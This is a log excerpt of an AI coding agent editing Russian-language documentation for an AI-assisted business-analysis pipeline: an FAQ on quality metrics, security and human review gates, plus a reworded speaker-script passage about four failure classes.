\u0442\u043e\u0440\u043c\u043e\u0437\u043e\u043c \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n\u041e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u2014 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, \u0430 \u043d\u0435 \u0430\u0432\u0430\u0440\u0438\u044f: \u0448\u0430\u0433 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u0430\\n\u043d\u0435 \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u0442. \u0427\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b\u043e\u0441\u044c \u0432 \u0431\u044e\u0440\u043e\u043a\u0440\u0430\u0442\u0438\u044e, \u0432 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439\\n\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u043f\u0440\u044f\u043c\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043e: \u0435\u0441\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435\\n\u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f. \u041f\u0443\u0441\u0442\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0441\\n\u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u043e\u0439 `M-5`.\\n\\n### \u00ab\u041a\u0430\u043a \u0432\u044b \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e, \u0435\u0441\u043b\u0438 evals \u043d\u0435 \u0431\u044b\u043b\u043e?\u00bb\\n\\n\u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0441\u043d\u044f\u0442\u0430 \u0434\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f: `M-1 = 0.0` \u0438 6% \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0431\u0435\u0437\\n\u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438. \u041c\u0435\u0442\u0440\u0438\u043a\u0438 `M-1`\u2026`M-5` \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u043e\u0440\u043e\u0433\\n\u0443\u0441\u043f\u0435\u0445\u0430 \u0441\u0440\u0435\u0437\u0430 \u0437\u0430\u0434\u0430\u043d \u0437\u0430\u0440\u0430\u043d\u0435\u0435: \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 100% \u0438 \u0437\u0430\u043c\u0435\u0442\u043d\u044b\u0439 \u0440\u043e\u0441\u0442 `M-1` \u043f\u0440\u0438\\n\u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0434\u043e\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u0430\u0437\u043e\u0432.\\n\\n### \u00ab\u041d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0436\u043d\u043e \u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0435 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432?\u00bb\\n\\n\u041c\u0435\u0442\u0440\u0438\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0441\u0430\u043c\u0438, \u2014 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u0438\u0432\u043d\u044b: \u0444\u043e\u0440\u043c\u0430\u0442\u044b \u0440\u0430\u0437\u043d\u044b\u0435, \u0432\\n\u043e\u0434\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0442\u043e\u043a\u0435\u043d\u044b, \u043f\u043e\u0445\u043e\u0436\u0435, \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0438\u0437 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443, \u0430 \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b: \u0432\u0445\u043e\u0434\u044b,\\n\u0432\u044b\u0445\u043e\u0434\u044b, \u0434\u0438\u0430\u043b\u043e\u0433\u0438 \u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u0413\u0434\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0435\u0442, \u044d\u0442\u043e \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u043e \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n### \u00ab\u0427\u0442\u043e \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435: Mango AI \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 API.\\n\u041a\u043b\u044e\u0447\u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b. \u0411\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u0414\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence \u0447\u0435\u0440\u0435\u0437 MCP\\n\u0432\u044b\u0434\u0430\u0451\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e, \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u044f. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e\\n\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0430 \u0433\u0435\u0439\u0442\u0435 \u0443\u0437\u043a\u0438\u043c \u043c\u0435\u0441\u0442\u043e\u043c?\u00bb\\n\\n\u0427\u0435\u043b\u043e\u0432\u0435\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e, \u0447\u0442\u043e \u043c\u0430\u0448\u0438\u043d\u0430 \u0440\u0435\u0448\u0438\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442: \u0441\u043c\u044b\u0441\u043b, \u0441\u043f\u043e\u0440\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440,\\n\u043f\u0440\u0438\u0451\u043c\u043a\u0443. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 `M-3` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0430\u0432\u043e\u043a \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u0432\u043d\u043e\u0441\u0438\u0442 \u043f\u043e\u0441\u043b\u0435\\n\u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430. \u0415\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u043f\u0430\u0434\u0430\u0435\u0442, \u0437\u043d\u0430\u0447\u0438\u0442, \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0435 \u0442\u043e.\\n\\n### \u00ab\u0417\u0430\u0447\u0435\u043c \u0434\u0432\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430, GigaCode CLI \u0438 Cline?\u00bb\\n\\n\u042d\u0442\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434\u044b, \u0430 \u043d\u0435 \u0432\u044b\u0431\u043e\u0440 \u0432\u043a\u0443\u0441\u0430. \u0412 GigaCode CLI \u043d\u0435\u0442 API Mango AI, \u0430\\nCline \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 Mango AI. Source \u043e\u0434\u0438\u043d, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u043f\u0430\u043a\u0435\u0442\u044b \u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n\u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430\u043c\u0438. \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u0441\u043d\u0438\u043c\u0430\u0435\u0442 \u044d\u0442\u0443 \u0440\u0430\u0437\u0432\u0438\u043b\u043a\u0443: \u044f\u0434\u0440\u043e \u043e\u0434\u043d\u043e, \u043a\u043b\u0438\u0435\u043d\u0442 \u2014\\n\u0442\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430.\\n\\n### \u00ab\u0427\u0442\u043e \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442?\u00bb\\n\\n\u0414\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d; fail-closed \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445\\n\u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0430\u043b\u043e \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u043d\u0438\u0435; \u043e\u0434\u0438\u043d \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f\\n\u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u0432 \u0434\u0432\u0443\u0445\\n\u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 \u2014 \u044d\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 gate\\n[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md).\\n\u0421\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043a\u0430 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043d\u0430 \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438:\\n\u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043e\u0442\u043c\u0435\u0442\u043a\u0438 \u00ab\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u00bb, \u0430 \u043d\u0435 \u0435\u0451 \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0441\u0442\u044c.\\n\u042d\u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u044b \u043f\u043e \u0444\u0430\u0439\u043b\u0443 \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c\\n\u0433\u0435\u0439\u0442\u043e\u043c.\\n\\n### \u00ab\u0421\u043a\u043e\u043b\u044c\u043a\u043e \u044d\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u0438 \u043a\u043e\u0433\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0433\u043e\u0442\u043e\u0432\u043e?\u00bb\\n\\n\u0418\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u043e\u0446\u0435\u043d\u043a\u0438 \u0442\u0440\u0443\u0434\u043e\u0437\u0430\u0442\u0440\u0430\u0442 \u043d\u0435\u0442, \u0438 \u043c\u044b \u0435\u0451 \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c. \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\n\u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0439 \u0418\u0411. \u0421\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0421\u0440\u0435\u0434\u044b 4 \u0431\u0443\u0434\u0435\u0442 \u043e\u0446\u0435\u043d\u0435\u043d\u0430 \u0432\\nRFC \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b (B-218) \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0448\u0430\u0433 2 \u0434\u0430\u0441\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0437\u0430\u043c\u0435\u0440\u0430.\\n\",\n[2026-09-29T07:55:47.675Z] [INFO]     \"structuredPatch\": [\n[2026-09-29T07:55:47.675Z] [INFO]       {\n[2026-09-29T07:55:47.675Z] [INFO]         \"oldStart\": 153,\n[2026-09-29T07:55:47.675Z] [INFO]         \"oldLines\": 9,\n[2026-09-29T07:55:47.675Z] [INFO]         \"newStart\": 153,\n[2026-09-29T07:55:47.675Z] [INFO]         \"newLines\": 13,\n[2026-09-29T07:55:47.675Z] [INFO]         \"lines\": [\n[2026-09-29T07:55:47.675Z] [INFO]           \"   \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u0433\u0435\u0439\u0442 \u2014 10\",\n[2026-09-29T07:55:47.675Z] [INFO]           \"   [\u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md)\",\n[2026-09-29T07:55:47.675Z] [INFO]           \"   \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\",\n[2026-09-29T07:55:47.675Z] [INFO]           \"-- \u0412\u044b\u0432\u043e\u0434 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438: \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u2014 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c, \u0433\u0440\u0430\u043d\u0438\u0446\u044b\",\n[2026-09-29T07:55:47.675Z] [INFO]           \"-  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438, \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043f\u0440\u043e\u043c\u043f\u0442-\u043f\u0440\u0430\u0432\u043a\u0430\u043c\u0438 \u043d\u0435\",\n[2026-09-29T07:55:47.675Z] [INFO]           \"-  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\",\n[2026-09-29T07:55:47.675Z] [INFO]           \"+- \u0412\u044b\u0432\u043e\u0434\",\n[2026-09-29T07:55:47.675Z] [INFO]           \"+  [\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md):\",\n[2026-09-29T07:55:47.675Z] [INFO]           \"+  \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u0430. \u041d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e\",\n[2026-09-29T07:55:47.675Z] [INFO]           \"+  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f. \u0422\u0435\u043a\u0443\u0449\u0435\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432\u044b\u0434\u0430\u0451\u0442\u0441\u044f \u0437\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0435.\",\n[2026-09-29T07:55:47.675Z] [INFO]           \"+  \u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438. \u041e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f\",\n[2026-09-29T07:55:47.675Z] [INFO]           \"+  \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430. \u0426\u0438\u0442\u0430\u0442\u0430: \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435\",\n[2026-09-29T07:55:47.675Z] [INFO]           \"+  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u00bb.\",\n[2026-09-29T07:55:47.675Z] [INFO]           \" \",\n[2026-09-29T07:55:47.675Z] [INFO]           \" **\u041f\u043e\u0447\u0435\u043c\u0443 \u0442\u0430\u043a:** \u043f\u0440\u043e\u043c\u043f\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u043e\u0440\u043c\u043e\u0439 \u0442\u0435\u043a\u0441\u0442\u0430. \u041e\u0442\u043a\u0430\u0437\u044b \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0440\u0430\u043d\u044c\u0448\u0435\",\n[2026-09-29T07:55:47.675Z] [INFO]           \" \u0442\u0435\u043a\u0441\u0442\u0430: \u043d\u0430 \u0432\u044b\u0431\u043e\u0440\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\"\n[2026-09-29T07:55:47.675Z] [INFO]         ]\n[2026-09-29T07:55:47.675Z] [INFO]       }\n[2026-09-29T07:55:47.675Z] [INFO]     ],\n[2026-09-29T07:55:47.675Z] [INFO]     \"userModified\": false,\n[2026-09-29T07:55:47.675Z] [INFO]     \"replaceAll\": false,\n[2026-09-29T07:55:47.675Z] [INFO]     \"contentNotInModelContext\": true\n[2026-09-29T07:55:47.675Z] [INFO]   }\n[2026-09-29T07:55:47.675Z] [INFO] }\n[2026-09-29T07:55:49.967Z] [INFO] {\n[2026-09-29T07:55:49.967Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:55:49.967Z] [INFO]   \"message\": {\n[2026-09-29T07:55:49.967Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:55:49.967Z] [INFO]     \"id\": \"msg_011CfXNXzdyCp51htuBrcg98\",\n[2026-09-29T07:55:49.967Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:55:49.967Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:55:49.967Z] [INFO]     \"content\": [\n[2026-09-29T07:55:49.967Z] [INFO]       {\n[2026-09-29T07:55:49.967Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:55:49.967Z] [INFO]         \"id\": \"toolu_01MaaQ6sXyfQ36dndQc5iEJE\",\n[2026-09-29T07:55:49.967Z] [INFO]         \"name\": \"Edit\",\n[2026-09-29T07:55:49.967Z] [INFO]         \"input\": {\n[2026-09-29T07:55:49.967Z] [INFO]           \"replace_all\": false,\n[2026-09-29T07:55:49.967Z] [INFO]           \"file_path\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\",\n[2026-09-29T07:55:49.967Z] [INFO]           \"old_string\": \"RAG \u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u043d\u0430\u043d\u0438\u044f\u043c, \u0438 \u043e\u043d \u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0435 \u0435\u0441\u0442\u044c \u2014 \u044d\u0442\u043e \u0448\u0430\u0433 \u0441\u0432\u0435\u0440\u043a\u0438. \u041d\u043e \u0438\u0437\\n\u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u0413\u0440\u0430\u043d\u0438\u0446\u044b\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043d\u0435 \u043f\u0440\u043e\\n\u043f\u043e\u0438\u0441\u043a.\",\n[2026-09-29T07:55:49.967Z] [INFO]           \"new_string\": \"RAG \u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u043d\u0430\u043d\u0438\u044f\u043c, \u0438 \u043e\u043d \u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0435 \u0435\u0441\u0442\u044c \u2014 \u044d\u0442\u043e \u0448\u0430\u0433 \u0441\u0432\u0435\u0440\u043a\u0438. \u041d\u043e \u0438\u0437\\n\u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u041f\u043e\u0434\u043c\u0435\u043d\u0430 \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0438\\n\u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f, \u043f\u043e\u0442\u0435\u0440\u044f \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438\\n\u0438 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0431\u0435\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u2014 \u043d\u0435 \u043f\u0440\u043e \u043f\u043e\u0438\u0441\u043a.\"\n[2026-09-29T07:55:49.967Z] [INFO]         },\n[2026-09-29T07:55:49.967Z] [INFO]         \"caller\": {\n[2026-09-29T07:55:49.967Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:55:49.967Z] [INFO]         }\n[2026-09-29T07:55:49.967Z] [INFO]       }\n[2026-09-29T07:55:49.967Z] [INFO]     ],\n[2026-09-29T07:55:49.967Z] [INFO]     \"container\": null,\n[2026-09-29T07:55:49.967Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:55:49.967Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:55:49.967Z] [INFO]     